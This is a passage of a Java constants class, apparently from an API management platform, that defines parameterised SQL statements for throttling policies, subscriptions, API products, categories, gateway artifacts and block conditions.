"VALUES (?,?,?,?,?,?,?)";
public static final String GET_APP_POLICY_NAMES =
" SELECT " +
" NAME " +
"FROM " +
" AM_POLICY_APPLICATION " +
" WHERE" +
" TENANT_ID =?";
public static final String GET_SUB_POLICY_NAMES =
" SELECT " +
" NAME " +
"FROM " +
" AM_POLICY_SUBSCRIPTION " +
" WHERE" +
" TENANT_ID =?";
public static final String GET_GLOBAL_POLICY_NAMES =
" SELECT " +
" NAME " +
"FROM " +
" AM_POLICY_GLOBAL " +
" WHERE" +
" TENANT_ID =?";
public static final String GET_GLOBAL_POLICY_KEY_TEMPLATES =
" SELECT " +
" KEY_TEMPLATE " +
"FROM " +
" AM_POLICY_GLOBAL " +
" WHERE" +
" TENANT_ID =?";
public static final String GET_GLOBAL_POLICY_KEY_TEMPLATE =
" SELECT " +
" KEY_TEMPLATE " +
"FROM " +
" AM_POLICY_GLOBAL " +
" WHERE" +
" TENANT_ID =? AND" +
" KEY_TEMPLATE =? AND" +
" NAME =?";
public static final String GET_APP_POLICIES =
" SELECT "+
" * " +
"FROM " +
" AM_POLICY_APPLICATION " +
" WHERE" +
" TENANT_ID =?";
public static final String GET_SUBSCRIPTION_POLICIES =
" SELECT " +
" * " +
"FROM " +
" AM_POLICY_SUBSCRIPTION " +
" WHERE" +
" TENANT_ID =?";
public static final String GET_SUBSCRIPTION_POLICIES_BY_POLICY_NAMES_PREFIX =
" SELECT " +
" * " +
"FROM " +
" AM_POLICY_SUBSCRIPTION " +
" WHERE" +
" NAME IN (";
public static final String GET_SUBSCRIPTION_POLICIES_BY_POLICY_NAMES_SUFFIX =
") AND TENANT_ID =?";
public static final String GET_GLOBAL_POLICIES =
" SELECT " +
" * " +
"FROM " +
" AM_POLICY_GLOBAL " +
" WHERE" +
" TENANT_ID =?";
public static final String GET_GLOBAL_POLICY =
" SELECT " +
" * " +
"FROM " +
" AM_POLICY_GLOBAL " +
" WHERE" +
" NAME =?";
public static final String GET_GLOBAL_POLICY_BY_UUID =
"SELECT " +
" * " +
"FROM " +
" AM_POLICY_GLOBAL " +
"WHERE" +
" UUID =?";
public static final String GET_APPLICATION_POLICY_SQL =
"SELECT "+
"* " +
"FROM " +
"AM_POLICY_APPLICATION " +
"WHERE " +
"NAME = ? AND " +
"TENANT_ID =?";
public static final String GET_APPLICATION_POLICY_BY_UUID_SQL =
"SELECT " +
"* " +
"FROM " +
"AM_POLICY_APPLICATION " +
"WHERE " +
"UUID = ?";
public static final String GET_SUBSCRIPTION_POLICY_SQL =
"SELECT "+
"* " +
"FROM " +
" AM_POLICY_SUBSCRIPTION " +
"WHERE " +
"NAME = ? AND " +
"TENANT_ID =?";
public static final String GET_API_PROVIDER_WITH_NAME_VERSION_FOR_SUPER_TENANT =
"SELECT API.API_PROVIDER FROM AM_API API WHERE API.API_NAME = ? AND API.API_VERSION = ? AND "
+ "CONTEXT NOT LIKE '%" + APIConstants.TENANT_PREFIX + "%' ";
public static final String GET_API_PROVIDER_WITH_NAME_VERSION_FOR_GIVEN_TENANT =
"SELECT API.API_PROVIDER FROM AM_API API WHERE API.API_NAME = ? AND "
+ "API.API_VERSION = ? AND API.CONTEXT LIKE ? ";
public static final String GET_SUBSCRIPTION_POLICY_BY_UUID_SQL =
"SELECT "+
"* " +
"FROM " +
" AM_POLICY_SUBSCRIPTION " +
"WHERE " +
"UUID = ?";
public static final String UPDATE_APPLICATION_POLICY_SQL =
"UPDATE AM_POLICY_APPLICATION " +
"SET " +
"DISPLAY_NAME = ?, " +
"DESCRIPTION = ?, " +
"QUOTA_TYPE = ?, " +
"QUOTA = ?, " +
"QUOTA_UNIT = ?, " +
"UNIT_TIME = ?, " +
"TIME_UNIT = ? " +
"WHERE NAME = ? AND TENANT_ID = ?";
public static final String UPDATE_APPLICATION_POLICY_WITH_CUSTOM_ATTRIBUTES_SQL =
"UPDATE AM_POLICY_APPLICATION " +
"SET " +
"DISPLAY_NAME = ?, " +
"DESCRIPTION = ?, " +
"QUOTA_TYPE = ?, " +
"QUOTA = ?, " +
"QUOTA_UNIT = ?, " +
"UNIT_TIME = ?, " +
"TIME_UNIT = ?, " +
" CUSTOM_ATTRIBUTES = ? "+
"WHERE NAME = ? AND TENANT_ID = ?";
public static final String UPDATE_APPLICATION_POLICY_BY_UUID_SQL =
"UPDATE AM_POLICY_APPLICATION " +
"SET " +
"DISPLAY_NAME = ?, " +
"DESCRIPTION = ?, " +
"QUOTA_TYPE = ?, " +
"QUOTA = ?, " +
"QUOTA_UNIT = ?, " +
"UNIT_TIME = ?, " +
"TIME_UNIT = ? " +
"WHERE UUID = ?";
public static final String UPDATE_APPLICATION_POLICY_WITH_CUSTOM_ATTRIBUTES_BY_UUID_SQL =
"UPDATE AM_POLICY_APPLICATION " +
"SET " +
"DISPLAY_NAME = ?, " +
"DESCRIPTION = ?, " +
"QUOTA_TYPE = ?, " +
"QUOTA = ?, " +
"QUOTA_UNIT = ?, " +
"UNIT_TIME = ?, " +
"TIME_UNIT = ?, " +
"CUSTOM_ATTRIBUTES = ? "+
"WHERE UUID = ?";
public static final String UPDATE_SUBSCRIPTION_POLICY_SQL =
"UPDATE AM_POLICY_SUBSCRIPTION " +
"SET " +
"DISPLAY_NAME = ?, " +
"DESCRIPTION = ?, " +
"QUOTA_TYPE = ?, " +
"QUOTA = ?, " +
"QUOTA_UNIT = ?, " +
"UNIT_TIME = ?, " +
"TIME_UNIT = ?, " +
"RATE_LIMIT_COUNT = ?," +
"RATE_LIMIT_TIME_UNIT = ?, " +
"STOP_ON_QUOTA_REACH = ?, " +
"MAX_DEPTH = ?, " +
"MAX_COMPLEXITY = ?, " +
"BILLING_PLAN = ?, " +
"MONETIZATION_PLAN = ?," +
"FIXED_RATE = ?," +
"BILLING_CYCLE = ?," +
"PRICE_PER_REQUEST = ?, " +
"CURRENCY = ? " +
"WHERE NAME = ? AND TENANT_ID = ?";
public static final String UPDATE_SUBSCRIPTION_POLICY_WITH_CUSTOM_ATTRIBUTES_SQL =
"UPDATE AM_POLICY_SUBSCRIPTION " +
"SET " +
"DISPLAY_NAME = ?, " +
"DESCRIPTION = ?, " +
"QUOTA_TYPE = ?, " +
"QUOTA = ?, " +
"QUOTA_UNIT = ?, " +
"UNIT_TIME = ?, " +
"TIME_UNIT = ?, " +
"RATE_LIMIT_COUNT = ?," +
"RATE_LIMIT_TIME_UNIT = ?, " +
"STOP_ON_QUOTA_REACH = ?, " +
"MAX_DEPTH = ?, " +
"MAX_COMPLEXITY = ?, " +
"BILLING_PLAN = ?, "+
"CUSTOM_ATTRIBUTES = ?, "+
"MONETIZATION_PLAN = ?," +
"FIXED_RATE = ?," +
"BILLING_CYCLE = ?," +
"PRICE_PER_REQUEST = ?, " +
"CURRENCY = ? " +
"WHERE NAME = ? AND TENANT_ID = ?";
public static final String UPDATE_SUBSCRIPTION_POLICY_BY_UUID_SQL =
"UPDATE AM_POLICY_SUBSCRIPTION " +
"SET " +
"DISPLAY_NAME = ?, " +
"DESCRIPTION = ?, " +
"QUOTA_TYPE = ?, " +
"QUOTA = ?, " +
"QUOTA_UNIT = ?, " +
"UNIT_TIME = ?, " +
"TIME_UNIT = ?, " +
"RATE_LIMIT_COUNT = ?," +
"RATE_LIMIT_TIME_UNIT = ?, " +
"STOP_ON_QUOTA_REACH = ?, " +
"MAX_DEPTH = ?, " +
"MAX_COMPLEXITY = ?, " +
"BILLING_PLAN = ?, "+
"MONETIZATION_PLAN = ?," +
"FIXED_RATE = ?," +
"BILLING_CYCLE = ?," +
"PRICE_PER_REQUEST = ?, " +
"CURRENCY = ? " +
"WHERE UUID = ?";
public static final String UPDATE_SUBSCRIPTION_POLICY_WITH_CUSTOM_ATTRIBUTES_BY_UUID_SQL =
"UPDATE AM_POLICY_SUBSCRIPTION " +
"SET " +
"DISPLAY_NAME = ?, " +
"DESCRIPTION = ?, " +
"QUOTA_TYPE = ?, " +
"QUOTA = ?, " +
"QUOTA_UNIT = ?, " +
"UNIT_TIME = ?, " +
"TIME_UNIT = ?, " +
"RATE_LIMIT_COUNT = ?," +
"RATE_LIMIT_TIME_UNIT = ?, " +
"STOP_ON_QUOTA_REACH = ?, " +
"MAX_DEPTH = ?, " +
"MAX_COMPLEXITY = ?, " +
"BILLING_PLAN = ?, "+
"CUSTOM_ATTRIBUTES = ?, "+
"MONETIZATION_PLAN = ?," +
"FIXED_RATE = ?," +
"BILLING_CYCLE = ?," +
"PRICE_PER_REQUEST = ?, " +
"CURRENCY = ? " +
"WHERE UUID = ?";
public static final String UPDATE_GLOBAL_POLICY_SQL =
"UPDATE AM_POLICY_GLOBAL " +
"SET " +
"DESCRIPTION = ?, " +
"SIDDHI_QUERY = ?, " +
"KEY_TEMPLATE = ? " +
"WHERE NAME = ? AND TENANT_ID = ?";
public static final String UPDATE_GLOBAL_POLICY_BY_UUID_SQL =
"UPDATE AM_POLICY_GLOBAL " +
"SET " +
"DESCRIPTION = ?, " +
"SIDDHI_QUERY = ?, " +
"KEY_TEMPLATE = ? " +
"WHERE UUID = ?";
public static final String UPDATE_APPLICATION_POLICY_STATUS_SQL =
"UPDATE AM_POLICY_APPLICATION SET IS_DEPLOYED = ? WHERE NAME = ? AND TENANT_ID = ?";
public static final String UPDATE_SUBSCRIPTION_POLICY_STATUS_SQL =
"UPDATE AM_POLICY_SUBSCRIPTION SET IS_DEPLOYED = ? WHERE NAME = ? AND TENANT_ID = ?";
public static final String UPDATE_GLOBAL_POLICY_STATUS_SQL =
"UPDATE AM_POLICY_GLOBAL SET IS_DEPLOYED = ? WHERE NAME = ? AND TENANT_ID = ?";
public static final String DELETE_APPLICATION_POLICY_SQL =
"DELETE FROM AM_POLICY_APPLICATION WHERE TENANT_ID = ? AND NAME = ?";
public static final String DELETE_SUBSCRIPTION_POLICY_SQL =
"DELETE FROM AM_POLICY_SUBSCRIPTION WHERE TENANT_ID = ? AND NAME = ?";
public static final String DELETE_GLOBAL_POLICY_SQL =
"DELETE FROM AM_POLICY_GLOBAL WHERE TENANT_ID = ? AND NAME = ?";
public static final String GET_API_DETAILS_SQL = "SELECT * FROM AM_API ";
public static final String GET_ACCESS_TOKENS_BY_USER_SQL = "SELECT AKM.CONSUMER_KEY, CON_APP.CONSUMER_SECRET, TOKEN.ACCESS_TOKEN " +
"FROM " +
"IDN_OAUTH_CONSUMER_APPS CON_APP, AM_APPLICATION APP, IDN_OAUTH2_ACCESS_TOKEN TOKEN, AM_APPLICATION_KEY_MAPPING AKM " +
"WHERE TOKEN.AUTHZ_USER =? " +
"AND APP.NAME =? " +
"AND APP.CREATED_BY =? " +
"AND TOKEN.TOKEN_STATE = 'ACTIVE' " +
"AND TOKEN.CONSUMER_KEY_ID = CON_APP.ID " +
"AND CON_APP.CONSUMER_KEY=AKM.CONSUMER_KEY " +
"AND AKM.APPLICATION_ID = APP.APPLICATION_ID";
public static final String REMOVE_GROUP_ID_MAPPING_SQL =
"DELETE FROM AM_APPLICATION_GROUP_MAPPING WHERE APPLICATION_ID = ? ";
public static final String ADD_GROUP_ID_MAPPING_SQL =
"INSERT INTO AM_APPLICATION_GROUP_MAPPING (APPLICATION_ID, GROUP_ID, TENANT) VALUES (?,?,?)";
public static final String GET_GROUP_ID_SQL =
"SELECT GROUP_ID FROM AM_APPLICATION_GROUP_MAPPING WHERE APPLICATION_ID = ?";
public static final String REMOVE_MIGRATED_GROUP_ID_SQL =
"UPDATE AM_APPLICATION SET GROUP_ID = '' WHERE APPLICATION_ID = ?";
/** Label related constants **/
public static final String GET_LABEL_BY_TENANT = "select * from AM_LABELS where AM_LABELS.TENANT_DOMAIN= ? ";
public static final String GET_URL_BY_LABEL_ID = "Select * from AM_LABEL_URLS where LABEL_ID= ? ";
public static final String ADD_LABEL_SQL = "INSERT INTO AM_LABELS VALUES (?,?,?,?)";
public static final String ADD_LABEL_URL_MAPPING_SQL = "INSERT INTO AM_LABEL_URLS VALUES (?,?)";
public static final String DELETE_LABEL_URL_MAPPING_SQL = "DELETE FROM AM_LABEL_URLS WHERE LABEL_ID = ?";
public static final String DELETE_LABEL_SQL = "DELETE FROM AM_LABELS WHERE LABEL_ID = ?";
public static final String UPDATE_LABEL_SQL = "UPDATE AM_LABELS SET NAME = ?, DESCRIPTION = ? WHERE LABEL_ID = ?";
public static final String DELETE_API_PRODUCT_SQL =
"DELETE FROM AM_API WHERE API_PROVIDER = ? AND API_NAME = ? AND API_VERSION = ? AND API_TYPE = '"
+ APIConstants.API_PRODUCT + "'";
public static final String UPDATE_PRODUCT_SQL =
" UPDATE AM_API " +
" SET" +
" API_TIER=?," +
" UPDATED_BY=?," +
" UPDATED_TIME=?" +
" WHERE" +
" API_NAME=? AND API_PROVIDER=? AND API_VERSION=? AND API_TYPE='" + APIConstants.API_PRODUCT +"'";
public static final String GET_PRODUCT_ID =
"SELECT API_ID FROM AM_API WHERE API_NAME = ? AND API_PROVIDER = ? AND "
+ "API_VERSION = ? AND API_TYPE='" + APIConstants.API_PRODUCT +"'";
public static final String GET_URL_TEMPLATES_FOR_API =
"SELECT URL_PATTERN , URL_MAPPING_ID, HTTP_METHOD FROM AM_API API , AM_API_URL_MAPPING URL "
+ "WHERE API.API_ID = URL.API_ID AND API.API_NAME =? "
+ "AND API.API_VERSION=? AND API.API_PROVIDER=?";
public static final String ADD_API_PRODUCT =
"INSERT INTO "
+ "AM_API(API_PROVIDER, API_NAME, API_VERSION, CONTEXT,"
+ "API_TIER, CREATED_BY, CREATED_TIME, API_TYPE) VALUES (?,?,?,?,?,?,?,?)";
public static final String GET_RESOURCES_OF_PRODUCT =
"SELECT API_UM.URL_MAPPING_ID, API_UM.URL_PATTERN, API_UM.HTTP_METHOD, API_UM.AUTH_SCHEME, " +
"API_UM.THROTTLING_TIER, API.API_PROVIDER, API.API_NAME, API.API_VERSION, API.CONTEXT " +
"FROM AM_API_URL_MAPPING API_UM " +
"INNER JOIN AM_API API " +
"ON API.API_ID = API_UM.API_ID " +
"INNER JOIN AM_API_PRODUCT_MAPPING PROD_MAP " +
"ON PROD_MAP.URL_MAPPING_ID = API_UM.URL_MAPPING_ID " +
"WHERE PROD_MAP.API_ID = ?";
public static final String GET_SCOPE_KEYS_BY_URL_MAPPING_ID =
"SELECT SCOPE_NAME FROM AM_API_RESOURCE_SCOPE_MAPPING WHERE URL_MAPPING_ID = ?" ;
/** API Categories related constants **/
public static final String ADD_CATEGORY_SQL = "INSERT INTO AM_API_CATEGORIES "
+ "(UUID, NAME, DESCRIPTION, TENANT_ID) VALUES (?,?,?,?)";
public static final String GET_CATEGORIES_BY_TENANT_ID_SQL = "SELECT * FROM AM_API_CATEGORIES WHERE TENANT_ID = ?";
public static final String IS_API_CATEGORY_NAME_EXISTS = "SELECT COUNT(UUID) AS API_CATEGORY_COUNT FROM "
+ "AM_API_CATEGORIES WHERE LOWER(NAME) = LOWER(?) AND TENANT_ID = ?";
public static final String IS_API_CATEGORY_NAME_EXISTS_FOR_ANOTHER_UUID = "SELECT COUNT(UUID) AS API_CATEGORY_COUNT FROM "
+ "AM_API_CATEGORIES WHERE LOWER(NAME) = LOWER(?) AND TENANT_ID = ? AND UUID != ?";
public static final String GET_API_CATEGORY_BY_ID = "SELECT * FROM AM_API_CATEGORIES WHERE UUID = ?";
public static final String GET_API_CATEGORY_BY_NAME = "SELECT * FROM AM_API_CATEGORIES WHERE NAME = ? AND TENANT_ID = ?";
public static final String UPDATE_API_CATEGORY = "UPDATE AM_API_CATEGORIES SET DESCRIPTION = ?, NAME = ? WHERE UUID = ?";
public static final String DELETE_API_CATEGORY = "DELETE FROM AM_API_CATEGORIES WHERE UUID = ?";
public static final String GET_USER_ID = "SELECT USER_ID FROM AM_USER WHERE USER_NAME=?";
public static final String ADD_USER_ID = "INSERT INTO AM_USER (USER_ID, USER_NAME) VALUES (?,?)";
public static final String GET_KEY_MAPPING_ID_FROM_APPLICATION =
"SELECT UUID FROM AM_APPLICATION_KEY_MAPPING WHERE APPLICATION_ID = ? AND KEY_TYPE = ? AND KEY_MANAGER = ?";
public static final String GET_CONSUMER_KEY_FOR_APPLICATION_KEY_TYPE_APP_ID_KEY_MANAGER_SQL =
"SELECT CONSUMER_KEY FROM AM_APPLICATION_KEY_MAPPING WHERE APPLICATION_ID = ? AND KEY_TYPE = ? AND " +
"KEY_MANAGER = ?";
public static final String GET_KEY_MAPPING_INFO_FROM_APP_ID = "SELECT UUID,CONSUMER_KEY,KEY_MANAGER,KEY_TYPE," +
"STATE,APP_INFO FROM AM_APPLICATION_KEY_MAPPING WHERE APPLICATION_ID = ?";
public static final String ADD_GW_PUBLISHED_API_DETAILS = "INSERT INTO AM_GW_PUBLISHED_API_DETAILS (API_ID, " +
"API_NAME, API_VERSION, TENANT_DOMAIN) VALUES (?,?,?,?)";
public static final String ADD_GW_API_ARTIFACT = "INSERT INTO AM_GW_API_ARTIFACTS (ARTIFACT, GATEWAY_INSTRUCTION," +
" API_ID, GATEWAY_LABEL) VALUES (?,?,?,?)";
public static final String UPDATE_API_ARTIFACT = "UPDATE AM_GW_API_ARTIFACTS SET ARTIFACT = ?, GATEWAY_INSTRUCTION = ?" +
" WHERE (API_ID = ?) AND (GATEWAY_LABEL = ?)";
public static final String GET_API_ARTIFACT = "SELECT ARTIFACT FROM AM_GW_API_ARTIFACTS WHERE API_ID =? AND " +
"GATEWAY_LABEL =? AND GATEWAY_INSTRUCTION = ?";
public static final String GET_API_ID = "SELECT API_ID FROM AM_GW_PUBLISHED_API_DETAILS " +
"WHERE API_NAME =? AND " + "TENANT_DOMAIN =? AND API_VERSION =?";
public static final String GET_API_LABEL = "SELECT GATEWAY_LABEL FROM AM_GW_API_ARTIFACTS " +
"WHERE API_ID =?";
public static final String GET_ALL_API_ARTIFACT = "SELECT ARTIFACT FROM AM_GW_API_ARTIFACTS WHERE "
+ "GATEWAY_LABEL =? AND GATEWAY_INSTRUCTION = ?";
public static final String GET_PUBLISHED_GATEWAYS_FOR_API = "SELECT COUNT(*) AS COUNT FROM AM_GW_API_ARTIFACTS" +
" WHERE API_ID = ? AND GATEWAY_INSTRUCTION = ?";
public static final String CHECK_API_EXISTS = "SELECT 1 FROM AM_GW_PUBLISHED_API_DETAILS" +
" WHERE API_ID = ?";
public static final String CHECK_ARTIFACT_EXISTS = "SELECT 1 FROM AM_GW_API_ARTIFACTS" +
" WHERE API_ID = ? AND GATEWAY_LABEL = ?";
/** Throttle related constants**/
public static class ThrottleSQLConstants{
public static final String QUOTA_TYPE_BANDWIDTH = PolicyConstants.BANDWIDTH_TYPE;
public static final String QUOTA_TYPE_REQUESTCOUNT = PolicyConstants.REQUEST_COUNT_TYPE;
public static final String GET_POLICY_NAMES = " SELECT " + " NAME " + "FROM " + " AM_API_THROTTLE_POLICY"
+ " WHERE" + " TYPE = ?" + " AND TENANT_ID =?";
public static final String GET_EXISTING_POLICY_SQL = "SELECT POLICY_ID FROM AM_API_THROTTLE_POLICY WHERE NAME = ? AND TENANT_ID = ? ";
public static final String INSERT_API_POLICY_SQL = "INSERT INTO AM_API_THROTTLE_POLICY (NAME, DISPLAY_NAME, TENANT_ID, DESCRIPTION, DEFAULT_QUOTA_TYPE, \n"
+ " DEFAULT_QUOTA, DEFAULT_QUOTA_UNIT, DEFAULT_UNIT_TIME, DEFAULT_TIME_UNIT , IS_DEPLOYED, UUID, APPLICABLE_LEVEL) \n"
+ " VALUES (?,?,?,?,? ,?,?,?,?,? ,?,?)";
public static final String INSERT_API_POLICY_WITH_ID_SQL = "INSERT INTO AM_API_THROTTLE_POLICY (NAME, DISPLAY_NAME, TENANT_ID, DESCRIPTION, DEFAULT_QUOTA_TYPE, \n"
+ " DEFAULT_QUOTA, DEFAULT_QUOTA_UNIT, DEFAULT_UNIT_TIME, DEFAULT_TIME_UNIT, \n"
+ " IS_DEPLOYED, UUID, APPLICABLE_LEVEL, POLICY_ID) \n" + "VALUES (?,?,?,?,?, ?,?,?,?,? ,?,?,?)";
public static final String UPDATE_POLICY_SQL = "UPDATE AM_API_THROTTLE_POLICY " + "SET " + "NAME = ?," + "DISPLAY_NAME = ?,"
+ " TYPE = ?," + "TENANT_ID = ?," + "APPLICABLE_LEVEL = ? ," + "DESCRIPTION = ? ,"
+ " DEFAULT_QUOTA_TYPE = ? ," + "DEFAULT_QUOTA = ?," + "DEFAULT_UNIT_TIME = ? " + " WHERE POLICY_ID = ?";
public static final String GET_API_POLICY_NAMES = " SELECT " + " NAME " + "FROM "
+ " AM_API_THROTTLE_POLICY " + " WHERE" + " TENANT_ID =?";
public static final String GET_API_POLICIES = " SELECT " + " * " + "FROM " + " AM_API_THROTTLE_POLICY "
+ " WHERE" + " TENANT_ID =? ORDER BY NAME";
public static final String GET_API_POLICY_ID_SQL = "SELECT " + "POLICY_ID, UUID " + "FROM "
+ " AM_API_THROTTLE_POLICY " + "WHERE " + "NAME = ? AND " + "TENANT_ID = ?";
public static final String GET_API_POLICY_ID_BY_UUID_SQL = "SELECT " + "POLICY_ID, UUID " + "FROM "
+ " AM_API_THROTTLE_POLICY " + "WHERE " + "UUID = ?";
public static final String GET_API_POLICY_SQL = "SELECT " + "* " + "FROM " + "AM_API_THROTTLE_POLICY "
+ " WHERE " + "NAME = ? AND " + "TENANT_ID =?";
public static final String GET_API_POLICY_BY_UUID_SQL = "SELECT " + "* " + "FROM " + "AM_API_THROTTLE_POLICY "
+ " WHERE " + "UUID = ?";
public static final String UPDATE_API_POLICY_STATUS_SQL = "UPDATE AM_API_THROTTLE_POLICY SET IS_DEPLOYED = ? WHERE NAME = ? AND TENANT_ID = ?";
public static final String DELETE_API_POLICY_SQL = "DELETE FROM AM_API_THROTTLE_POLICY WHERE TENANT_ID = ? AND NAME = ?";
public static final String INSERT_CONDITION_GROUP_SQL = "INSERT INTO AM_CONDITION_GROUP(POLICY_ID, QUOTA_TYPE,QUOTA,QUOTA_UNIT,UNIT_TIME,TIME_UNIT,DESCRIPTION) \n"
+ " VALUES (?,?,?,?,?,?,?)";
public static final String GET_PIPELINES_SQL = "SELECT " + "CONDITION_GROUP_ID, " + "QUOTA_TYPE, " + "QUOTA, "
+ " QUOTA_UNIT, " + "UNIT_TIME, " + "TIME_UNIT, "+ "DESCRIPTION " + "FROM " + "AM_CONDITION_GROUP " + "WHERE " + "POLICY_ID =?";
public static final String GET_IP_CONDITIONS_SQL = "SELECT " + "STARTING_IP, " + "ENDING_IP, " + "SPECIFIC_IP, "
+ " WITHIN_IP_RANGE " + "FROM " + "AM_IP_CONDITION " + "WHERE " + "CONDITION_GROUP_ID = ? ";
public static final String GET_HEADER_CONDITIONS_SQL = "SELECT " + "HEADER_FIELD_NAME, " + "HEADER_FIELD_VALUE , IS_HEADER_FIELD_MAPPING "
+ " FROM " + "AM_HEADER_FIELD_CONDITION " + "WHERE " + "CONDITION_GROUP_ID =?";
public static final String GET_JWT_CLAIM_CONDITIONS_SQL = "SELECT " + "CLAIM_URI, " + "CLAIM_ATTRIB , IS_CLAIM_MAPPING " + "FROM "
+ " AM_JWT_CLAIM_CONDITION " + "WHERE " + "CONDITION_GROUP_ID =?";
public static final String GET_QUERY_PARAMETER_CONDITIONS_SQL = "SELECT " + "PARAMETER_NAME, "
+ " PARAMETER_VALUE , IS_PARAM_MAPPING " + "FROM " + "AM_QUERY_PARAMETER_CONDITION " + "WHERE " + "CONDITION_GROUP_ID =?";
public static final String INSERT_QUERY_PARAMETER_CONDITION_SQL = "INSERT INTO AM_QUERY_PARAMETER_CONDITION(CONDITION_GROUP_ID,PARAMETER_NAME,PARAMETER_VALUE, IS_PARAM_MAPPING) \n"
+ " VALUES (?,?,?,?)";
public static final String INSERT_HEADER_FIELD_CONDITION_SQL = "INSERT INTO AM_HEADER_FIELD_CONDITION(CONDITION_GROUP_ID,HEADER_FIELD_NAME,HEADER_FIELD_VALUE, IS_HEADER_FIELD_MAPPING) \n"
+ " VALUES (?,?,?,?)";
public static final String INSERT_JWT_CLAIM_CONDITION_SQL = "INSERT INTO AM_JWT_CLAIM_CONDITION(CONDITION_GROUP_ID,CLAIM_URI,CLAIM_ATTRIB,IS_CLAIM_MAPPING) \n"
+ " VALUES (?,?,?,?)";
public static final String INSERT_IP_CONDITION_SQL =
" INSERT INTO AM_IP_CONDITION(STARTING_IP,ENDING_IP,SPECIFIC_IP,WITHIN_IP_RANGE,CONDITION_GROUP_ID ) \n" +
" VALUES (?,?,?,?,?)";
public static final String IS_ANY_POLICY_CONTENT_AWARE_WITHOUT_API_POLICY_SQL = "SELECT APPPOLICY.TENANT_ID, APPPOLICY.QUOTA_TYPE "
+ " FROM AM_POLICY_APPLICATION APPPOLICY," + "AM_POLICY_SUBSCRIPTION SUBPOLICY "
+ " WHERE APPPOLICY.TENANT_ID =? AND " + "APPPOLICY.NAME =? AND " + "SUBPOLICY.NAME=? ";
public static final String IS_ANY_POLICY_CONTENT_AWARE_SQL = "select sum(c) as c from("
+ " (SELECT count(*) as c"
+ " FROM AM_API_THROTTLE_POLICY APIPOLICY where APIPOLICY.NAME =? AND APIPOLICY.TENANT_ID =? AND APIPOLICY.DEFAULT_QUOTA_TYPE = 'bandwidthVolume')"
+ " union "
+ " (SELECT count(*) as c"
+ " FROM AM_API_THROTTLE_POLICY APIPOLICY , AM_CONDITION_GROUP cg where APIPOLICY.NAME =? AND APIPOLICY.TENANT_ID =? AND cg.POLICY_ID = APIPOLICY.POLICY_ID AND cg.QUOTA_TYPE = 'bandwidthVolume')"
+ " union "
+ " (SELECT count(*) as c"
+ " FROM AM_API_THROTTLE_POLICY APIPOLICY, AM_API_URL_MAPPING RS, AM_CONDITION_GROUP cg where"
+ " RS.API_ID = ? AND APIPOLICY.NAME = RS.THROTTLING_TIER AND APIPOLICY.TENANT_ID =? AND cg.POLICY_ID = APIPOLICY.POLICY_ID AND cg.QUOTA_TYPE = 'bandwidthVolume' "
+ " ) "
+ " union "
+ " (SELECT count(*) as c"
+ " FROM AM_API_THROTTLE_POLICY APIPOLICY, AM_API_URL_MAPPING RS where "
+ " RS.API_ID = ? AND APIPOLICY.NAME = RS.THROTTLING_TIER AND APIPOLICY.TENANT_ID =? AND APIPOLICY.DEFAULT_QUOTA_TYPE = 'bandwidthVolume') "
+ " union "
+ " (SELECT count(*) as c FROM AM_POLICY_SUBSCRIPTION SUBPOLICY WHERE SUBPOLICY.NAME= ? AND SUBPOLICY.TENANT_ID = ? AND SUBPOLICY.QUOTA_TYPE = 'bandwidthVolume')"
+ " union "
+ " (SELECT count(*) as c FROM AM_POLICY_APPLICATION APPPOLICY where APPPOLICY.NAME = ? AND APPPOLICY.TENANT_ID = ? AND APPPOLICY.QUOTA_TYPE = 'bandwidthVolume')"
+ " ) x";
public static final String GET_CONDITION_GROUPS_FOR_POLICIES_SQL = "SELECT grp.CONDITION_GROUP_ID ,AUM.HTTP_METHOD,AUM.AUTH_SCHEME, pol.APPLICABLE_LEVEL, "
+ " AUM.URL_PATTERN,AUM.THROTTLING_TIER,AUM.MEDIATION_SCRIPT,AUM.URL_MAPPING_ID, pol.DEFAULT_QUOTA_TYPE "
+ " FROM AM_API_URL_MAPPING AUM"
+ " INNER JOIN AM_API API ON AUM.API_ID = API.API_ID"
+ " LEFT OUTER JOIN AM_API_THROTTLE_POLICY pol ON AUM.THROTTLING_TIER = pol.NAME "
+ " LEFT OUTER JOIN AM_CONDITION_GROUP grp ON pol.POLICY_ID = grp.POLICY_ID"
+ " where API.CONTEXT= ? AND API.API_VERSION = ? AND pol.TENANT_ID = ?"
/*+ " GROUP BY AUM.HTTP_METHOD,AUM.URL_PATTERN, AUM.URL_MAPPING_ID"*/
+ " ORDER BY AUM.URL_MAPPING_ID";
public static final String GET_CONDITION_GROUPS_FOR_POLICIES_IN_PRODUCTS_SQL = "SELECT AUM.HTTP_METHOD, AUM.AUTH_SCHEME, AUM.URL_PATTERN, AUM.THROTTLING_TIER, " +
"AUM.MEDIATION_SCRIPT, AUM.URL_MAPPING_ID, POL.APPLICABLE_LEVEL, GRP.CONDITION_GROUP_ID " +
"FROM AM_API_URL_MAPPING AUM, AM_API_PRODUCT_MAPPING APM, AM_API API, AM_API_THROTTLE_POLICY POL " +
"LEFT OUTER JOIN AM_CONDITION_GROUP GRP ON POL.POLICY_ID = GRP.POLICY_ID " +
"WHERE APM.API_ID = API.API_ID " +
"AND API.CONTEXT = ? AND API.API_VERSION = ? AND POL.TENANT_ID = ? " +
"AND APM.URL_MAPPING_ID = AUM.URL_MAPPING_ID AND AUM.THROTTLING_TIER = POL.NAME " +
"ORDER BY AUM.URL_MAPPING_ID";
public static final String ADD_BLOCK_CONDITIONS_SQL =
"INSERT INTO AM_BLOCK_CONDITIONS (TYPE, VALUE,ENABLED,DOMAIN,UUID) VALUES (?,?,?,?,?)";
public static final String GET_BLOCK_CONDITIONS_SQL =
"SELECT CONDITION_ID,TYPE,VALUE,ENABLED,DOMAIN,UUID FROM AM_BLOCK_CONDITIONS WHERE DOMAIN =?";
public static final String GET_BLOCK_CONDITION_SQL =
"SELECT TYPE,VALUE,ENABLED,DOMAIN,UUID FROM AM_BLOCK_CONDITIONS WHERE CONDITION_ID =?";
public static final String GET_BLOCK_CONDITION_BY_UUID_SQL =
"SELECT CONDITION_ID,TYPE,VALUE,ENABLED,DOMAIN,UUID FROM AM_BLOCK_CONDITIONS WHERE UUID =?";
public static final String UPDATE_BLOCK_CONDITION_STATE_SQL =
"UPDATE AM_BLOCK_CONDITIONS SET ENABLED = ? WHERE CONDITION_ID = ?";
public static final String UPDATE_BLOCK_CONDITION_STATE_BY_UUID_SQL =
"UPDATE AM_BLOCK_CONDITIONS SET ENABLED = ? WHERE UUID = ?";
public static final String DELETE_BLOCK_CONDITION_SQL =
